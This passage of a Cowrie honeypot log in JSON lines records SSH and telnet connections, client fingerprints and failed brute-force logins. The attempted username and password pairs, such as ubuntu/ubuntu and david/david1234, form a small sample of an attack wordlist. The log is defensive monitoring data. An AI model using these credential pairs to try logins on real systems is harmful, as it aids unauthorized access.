{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server123!","message":"login attempt [ts3server/ts3server123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:28:59.970658Z","src_ip":"172.211.56.214","session":"dc9d8622f427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:01.065110Z","src_ip":"172.211.56.214","session":"dc9d8622f427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":34540,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28d4613b2ba","protocol":"ssh","message":"New connection: 154.125.147.88:34540 (10.17.0.5:22) [session: f28d4613b2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:19.155822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:19.160760Z","src_ip":"154.125.147.88","session":"f28d4613b2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:19.395530Z","src_ip":"154.125.147.88","session":"f28d4613b2ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:20.365363Z","src_ip":"154.125.147.88","session":"f28d4613b2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:21.620886Z","src_ip":"154.125.147.88","session":"f28d4613b2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":39968,"dst_ip":"10.17.0.5","dst_port":22,"session":"a02d95b3724f","protocol":"ssh","message":"New connection: 118.219.234.233:39968 (10.17.0.5:22) [session: a02d95b3724f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:24.895421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:24.898637Z","src_ip":"118.219.234.233","session":"a02d95b3724f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:25.083007Z","src_ip":"118.219.234.233","session":"a02d95b3724f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david1234","message":"login attempt [david/david1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:25.855175Z","src_ip":"118.219.234.233","session":"a02d95b3724f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:27.043052Z","src_ip":"118.219.234.233","session":"a02d95b3724f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":44950,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed951ff177a9","protocol":"ssh","message":"New connection: 45.134.9.27:44950 (159.203.135.109:22) [session: ed951ff177a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:34.577713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:34.582063Z","src_ip":"45.134.9.27","session":"ed951ff177a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:34.651295Z","src_ip":"45.134.9.27","session":"ed951ff177a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sakura","password":"1234","message":"login attempt [sakura/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:34.959018Z","src_ip":"45.134.9.27","session":"ed951ff177a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":51108,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4128ba38b23","protocol":"ssh","message":"New connection: 172.190.89.127:51108 (159.203.135.109:22) [session: f4128ba38b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:35.631691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:35.635950Z","src_ip":"172.190.89.127","session":"f4128ba38b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:35.655462Z","src_ip":"172.190.89.127","session":"f4128ba38b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ken","password":"123456","message":"login attempt [ken/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:35.738291Z","src_ip":"172.190.89.127","session":"f4128ba38b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:36.041881Z","src_ip":"45.134.9.27","session":"ed951ff177a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:36.753596Z","src_ip":"172.190.89.127","session":"f4128ba38b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38930,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4e83175d41","protocol":"ssh","message":"New connection: 2.57.122.210:38930 (159.203.135.109:22) [session: ab4e83175d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:46.637285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:46.641966Z","src_ip":"2.57.122.210","session":"ab4e83175d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:46.739024Z","src_ip":"2.57.122.210","session":"ab4e83175d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:47.033019Z","src_ip":"2.57.122.210","session":"ab4e83175d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:29:48.131288Z","src_ip":"2.57.122.210","session":"ab4e83175d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.164.113.63","src_port":47428,"dst_ip":"159.203.135.109","dst_port":22,"session":"af66a5acf650","protocol":"ssh","message":"New connection: 95.164.113.63:47428 (159.203.135.109:22) [session: af66a5acf650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:11.637911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:11.642141Z","src_ip":"95.164.113.63","session":"af66a5acf650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:11.800955Z","src_ip":"95.164.113.63","session":"af66a5acf650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"ts3server123!","message":"login attempt [ts3server/ts3server123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:12.454946Z","src_ip":"95.164.113.63","session":"af66a5acf650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:13.609492Z","src_ip":"95.164.113.63","session":"af66a5acf650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":50844,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2fe37d9eb4","protocol":"ssh","message":"New connection: 182.253.156.173:50844 (159.203.135.109:22) [session: 5b2fe37d9eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:32.673069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:32.677227Z","src_ip":"182.253.156.173","session":"5b2fe37d9eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:32.935100Z","src_ip":"182.253.156.173","session":"5b2fe37d9eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo123","message":"login attempt [odoo/odoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:34.000133Z","src_ip":"182.253.156.173","session":"5b2fe37d9eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:35.262658Z","src_ip":"182.253.156.173","session":"5b2fe37d9eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.5.18","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d9a2fa0b28","protocol":"telnet","message":"New connection: 45.226.5.18:46558 (159.203.135.109:23) [session: 25d9a2fa0b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:36.160097Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":48298,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f23c04ebcf8","protocol":"ssh","message":"New connection: 150.5.169.138:48298 (10.17.0.5:22) [session: 0f23c04ebcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:51.638658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:51.642551Z","src_ip":"150.5.169.138","session":"0f23c04ebcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:51.857512Z","src_ip":"150.5.169.138","session":"0f23c04ebcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david1234","message":"login attempt [david/david1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:52.751236Z","src_ip":"150.5.169.138","session":"0f23c04ebcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:53.969062Z","src_ip":"150.5.169.138","session":"0f23c04ebcf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.211.56.214","src_port":35278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e25881192b","protocol":"ssh","message":"New connection: 172.211.56.214:35278 (159.203.135.109:22) [session: c1e25881192b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:59.710399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:59.714260Z","src_ip":"172.211.56.214","session":"c1e25881192b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha